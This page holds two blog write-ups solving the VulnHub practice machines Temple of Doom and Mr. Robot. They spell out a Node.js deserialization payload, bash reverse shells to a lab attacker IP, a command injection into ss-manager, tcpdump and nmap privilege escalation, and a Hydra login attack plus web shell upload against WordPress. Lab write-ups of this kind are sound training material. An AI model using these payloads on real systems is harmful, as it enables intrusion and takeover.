December 2018 – Page 3

December 23, 2018December 23, 2018

VulnHub – Temple of Doom v1

Please note: This post was first released on September 05, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/09/vulnhub-temple-of-doom-v1.html

Machine: Temple of Doom v1
Difficulty: Easy/Intermediate
Link: https://www.vulnhub.com/entry/temple-of-doom-1,243/
Goal: Getting root access

As always we start our enumeration phase with a Nmap scan. Since the box is hosted locally we can scan very thoroughly without investing too much time. Which is why we run Nmap as “nmap -sC -sV -p- 192.168.101.7”. Looking at the results in figure 1 we see a ssh service on port 22 and a http service on port 666.

Since it is always good to run some tests in the background while do further enumeration we start a python script for user enumeration on the ssh service. Furthermore we search for names of well-known characters from the DOOM universe and add them to our list of usernames. While the script for user enumeration runs we have a look at the website on port 666. As figure 2 shows there is not too much information on the web page itself which is why we start Burp Suite and intercept the request. As we can see in figure 3 the cookie stores some information as “profile”.

We take the value of the cookie and send it to the decoder inside Burp Suite and since the string ends with “%3D” we decode it as URL. The result is a new string that ends with “0=” which could indicate a base64 string. Because of this we decode the new string once more as base64 and we receive the following JSON as output:

{“username”:”Admin”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:Friday, 13 Oct 2018 00:00:00 GMT”}

Meanwhile the script for user enumeration on the ssh service finished without any useful information. But since we discovered that the web service is using JSON and the Nmap scan revealed a Node.js Framework in figure 1, we search for “exploit node.js” on Google.

The first entry says “Exploiting Node.js deserialization bug for Remote Code Execution” which sounds pretty much like what we are looking for to hack the box. By studying the article, we see that it is possible to execute arbitrary code from remote when untrusted data is passed to the node-serialize module. Inside the article we find the following function to execute code when being deserialized.

_$$ND_FUNC$$_function (){\n \t require(‘child_process’).exec(‘COMMAND’, function(error, stdout, stderr) { console.log(stdout) });

Since the JSON object which is passed to our target has a value for “username” we try to exchange the current value with the code from the article. For this we use the repeater function inside Burp Suite, modify the JSON object as described, encoding it again as base64 and afterwards as URL and replacing the result with the string inside the cookie. By sending the newly crafted http request to the target we receive the following error as shown in figure 4.

4. Syntax error message in http response

By trying to fix the JSON object we reload the page and see that the website itself, when being refreshed, now shows us an error message as well as shown in figure 5.

Since we receive an error message when reloading the page without the use of any modified http request the cause for the error has to exist inside the JSON before we modified it. Looking closely again at the original JSON object we notice that there is a double quote missing for the value of the “Expires” field.

{“username”:”Admin”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:“Friday, 13 Oct 2018 00:00:00 GMT”}

By placing a double quote and resending the request to the server the error message disappears and we receive a valid response.

The next step is to repair the previously crafted http request with the malicious JSON for command execution by inserting the missing double quote. By doing so and resending the http request to the server we receive a response with statuscode 200 as shown in figure 6. It seems like the command was being executed but the result is an object instead of an expected string, which is why we won’t get any viewable results other than [object Object]. To validate that we have a working remote code execution exploit we try to ping from the target back to our attacker machine. To do so we craft the following JSON and activate tcpdump for ICMP on our attacking machine:

{“username”:”_$$ND_FUNC$$_require(‘child_process’).exec(‘ping -c 2 192.168.101.5’, function(error, stdout, stderr) { console.log(stdout) })”, “csrftoken”: “u32t4o3tb3gg431fs34ggdgchjwnza0l=”, “Expires=”:”Friday, 13 Oct 2018 00:00:00 GMT”}

The next step is to encode the JSON with the ping command as base64 and afterwards as URL and sending it to the vulnerable system as shown in figure 7.

7. Sending encoded JSON with ping command

Immediately afterwards we receive two ICMP echo requests as shown in figure 8.

8. Listening for and receiving incoming ICMP requests

By receiving the two ICMP echo requests we validated the remote command execution. The next step is to place a reverse shell inside the JSON and passing it to the server. To do so we use a simple bash reverse shell which we can find on pentestmonkey.net.

{“username”:”_$$ND_FUNC$$_require(‘child_process’).exec(‘bash -i >& /dev/tcp/192.168.101.5/1235 0>&1’, function(error, stdout, stderr) { console.log(stdout) })”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:”Friday, 13 Oct 2018 00:00:00 GMT”}

By encoding the JSON and sending it to the server we receive a valid response on port 1235 as user “nodeadmin”.

The next step is to do some more enumeration on the system with the goal of getting any useful information for later privilege escalation. When we want to use the command “sudo -l” we receive the following message “sudo: no tty present and no askpass program specified” which is why we need to spawn a tty shell by using the following command.

python -c ‘import pty; pty.spawn(“/bin/sh”)’

While searching for running services on the system we find the following two odd looking entries as shown in figure 10.

10. Parts of output for command “ps aux”

Furthermore when investigating all listening connections on the host we see multiple listening ports for udp, one of them is port 3389.

Because of this information we search on Google for “upd port 8839 ss-manager” and the first entry is “Command Execution in ss-manager” which is a closed issue on github for ss-manager.

Looking at the issue we find a piece of code for PoC. As described in the issue we start netcat in udp mode for localhost on port 8839 and insert the following command:

{“server_port”:8003, “password”:”test”, “method”:”||touch /tmp/evil||”}

Browsing the “/tmp” directory we see that a new file called “evil” has been created as shown in figure 12.

12. Using PoC Code from issue #1734 of ss-manager

Because the file called “evil” has been created we now know that the PoC code is working and that the ss-manager on the system is vulnerable. Since we know from figure 11 that the ss-manager is being executed by user “fireman” we can use the command execution to escalate our privileges and create a reverse shell as user fireman. To do so we edit the PoC code as shown below.

add: {“server_port”:8003, “password”:”test”, “method”:”||bash -i >& /dev/tcp/192.168.101.5/9001 0>&1||”}

Using netcat to listen on port 9001 for incoming connections we receive a shell as user fireman.

13. Getting a reverse Shell as user “fireman”

With the newly gained privileges we start over with the enumeration of the system and look if we have anything new to work with, while our goal is to escalate to root privileges.
When running the “sudo -l” command we now have the commands “iptables”, “nmcli”, and “tcpdump” as “NOPASSWD” available.

Again, we use Google to search for any known privilege escalation techniques for any of these commands when being combined with sudo. When searching for “privilege escalation sudo tcpdump” on Google the second entry is “How I got root with Sudo”.
Inside the article we find the following command for code execution with tcpdump

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /temp.test -Z root

Inside the article we can read that when running tcpdump with the “-z postrotate-command” option we can execute arbitrary code. Quotation from tcpdump.org/manpages:

“Used in conjunction with the -C or -G options, this will make tcpdump run ” postrotate-command file ” where file is the savefile being closed after each rotation. For example, specifying -z gzip or -z bzip2 will compress each savefile using gzip or bzip2.
Note that tcpdump will run the command in parallel to the capture, using the lowest priority so that this doesn’t disturb the capture process. And in case you would like to use a command that itself takes flags or different arguments, you can always write a shell script that will take the savefile name as the only argument, make the flags & arguments arrangements and execute the command that you want.”

Furthermore with the option “-Z root” we specify that the command is being executed by the user root which works fine since we are able to use sudo for tcpdump. Using this technique as shown in figure 14 we can escalate our privileges and gain a root shell on the box.

14. Getting a reverse shell with root privileges

December 22, 2018December 22, 2018

VulnHub – Mr. Robot

Please note: This post was first released on August 24, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/08/vulnhub-mr-robot.html

Machine: Mr-Robot

Difficulty: Easy

Link: https://www.vulnhub.com/entry/mr-robot-1,151/

In this post we will take a look at VulnHubs Mr. Robot box.

The boxes name and content is based on the the American TV series Mr. Robot. If you have never heard of it you should definitely check it out. The box can be downloaded at vulnhub.com. Our goal when hacking the box is to find three different keys which are stored on the machine.

At the beginning we want to know what services are running on the box. For this we start with an Nmap scan. As we can see in figure 1 we have an Apache web server running on the usual ports for http (80) and https(443). Since the port for ssh (22) is closed we will ignore it for now. Because of the fact that we know that there is a web service running on the box we can start a vulnerability scan with Nikto against the web server. In the meantime we can have a look at the website itself.

When we open up the website in a browser we can see a message from Mr. Robot himself. When we type in any of the listed commands the website displays videos and pictures on what #fsociety is all about. By browsing the website one can get the feeling, that the box is simulating a web server that was being compromised by Mr. Robot and is now being used to spread information about his movement (#fsociety). But in the end there is nothing useful that we can find to hack the box. In the meantime our scan with Nikto finished. Lets have a look at the results.

The Nikto scan shows that the website is running WordPress and that we can reach the admin login page. Furthermore there are some interesting directories like /admin, /readme and /robots.txt. When we open up the /robots.txt directory we can see that there are two files listed as shown in figure 4. The file fsocity.dic is a dictionary with lots and lots of different usernames and potential passwords. Since this can come in handy later we download the dictionary file to out local machine. The second file is the first of three hidden keys that we need to find.

So far so good, but it seems that to obtain the next two key files we need to get on the system itself. Since the scan with Nikto showed that there is a WordPress login page we could try to get access via WordPress. To do so we need an username and password. The first step should be to find a valid username. To do so we can use Google to search for “user enumeration WordPress” and we will find a helpful post on Perishable Press that states that if we browse the “/author/username/” directory we will get a valid response for any existing user. When we try default usernames like “admin“, “wp-admin” we wont get any valid response from the system. Usually we would use a list with the most common usernames. But since we already have obtained a dictionary file from the system we should use that one first. One of the first usernames inside the dictionary is “elliot“. When we try to browse the “/author/elliot” directory on the system we get a valid response as shown in figure 6, which is not too surprising considered that Elliot Alderson is the main character in the Mr. Robot TV series.

Next up is the password. To obtain the password we will use a program called THC-Hydra. But to do so we need to intercept a http login request first and have a look at its contents.

Figure 7 shows a http login request for the WordPress login page. This intercepted request is important because we need to know the structure of the request. In detail we are looking for the names of the key-value pairs for username and password. At the bottom of Figure 7 we can see that the username is being passed in a field called “log” and the password is being handled in a field called “pwd“. With this knowledge we can start a dictionary attack with Hydra as shown in figure 8.

8. Using THC-Hydra to forge multiple login requests while using entries of a dictionary as passwords.

The last part of the command “:is incorrect” tells the program how to detect a failed login by providing a string that is inside the response of a failed login attempt. Hence hydra knows that the last login attempt was successful if the provided string is missing inside the last received http response.

While running Hydra there are status updates on how many passwords per second are being verified and at what estimated time the attack will finish. With the attack being executed on my local network hydra estimated that the attack would take about 23 hours. Since we do not want to wait a whole day for the attack to finish we have a closer look at the dictionary file. By doing so we can see that there are many duplicates for each entry and since we need to test each possible password only once we have to sort the duplicated entries out.

To do so we can simply run the following short command:

sort -u fsocity.dict > uniquefsociety.dict

With the new dictionary file the attack finishes after a few minutes and we get the following output as shown in figure 9.

9. Results of the THC-Hydra login/password attack.

The next step should be to login into WordPress and upload a web shell to remotely execute commands on the system. To do so we go to the “Appearance”-tab inside WordPress and choose a random theme and template to override the existing code with the source code of our web shell. While we can use any PHP-based web shell I personally favour the one from pentestmonkey.net which works like a charm in most situations. After we exchanged the source code of one of the templates with the code of the web shell we can execute the shell by browsing the actual directory where the template is being stored. In this case we used the theme “Twenty Thirteen” and the template “404.php” as shown in figure 10. To execute the code for the shell we need to go to the following directory:

“machines-ip/wp-content/themes/Twenty Thirteen/404.php“.

But before we active the reverse shell we need to set up a Netcat to listen for the incoming connection. In this case the web shell uses port 1234 as shown in figure 10. After setting up Netcat and browsing the right directory we will get a shell on the box. When we have a look inside the “/home” directory we will find an entry for the user “robot“. Inside the “/home/robot” directory is the second key file and an md5-hashed password as shown in figure 11.

At this point we have retrieved the file for the second key but we are missing out on the permission to read the file. So lets try to escalate our privileges to obtain the second key. For this we need to crack the password hash and retrieve the password. To do so we can use the online service hashkiller.co.uk and enter the md5 hash that we have found on the box. After a few seconds we have the corresponding cleartext password which is “abcdefghijklmnopqrstuvwxyz“.

Since we found the hash inside the home directory of the user robot we can assume that the password belongs to the same user. Which is why we try to change the user via the command “su robot“. But by doing so we will get the following error message:

“su: must be run from a terminal“, which is why we need a better shell if we want to further interact with the system. To do so there is a awesome list on netsec.ws with multiple ways on how to spawn a tty shell. Since the box is running python we can use the following command to spawn a tty shell: “python -c ‘import pty; pty.spawn(“/bin/sh”)’”

With the new obtained tty shell we repeat the “su robot” command and are finally able to change to the user robot after providing the correct password. With the new obtained user robot we are able to see the contents of the second key which is shown in figure 12.

12. Second key!

To obtain the last key we need to escalate to root privileges. One way to do so is to use executables where the suid-bit is set. Because executable programs with this bit set are also executed with the rights of the user to whom the file belongs in addition to the rights of the user who is actually executing the file. To find any files with root as the owner of the file and with the suid-bit set we can use the following command:

“find / -user root -perm -4000 -exec ls -ldb {} \;”

On payatu.com there is a great guide which explains many different ways of how to escalate to root privileges on UNIX systems. One of the methods that is being described there is about on how to use Nmap with a suid-bit set which is exactly what we need on the Mr. Robot box. Because inside the list of all executables which belong to root and which do have the suid bit set we will find Nmap.

When we start Nmap with the “–interactive” parameter and type in “!sh” we will get a interactive shell with root privileges. With this we are able to access the “/root” directory and read the last key .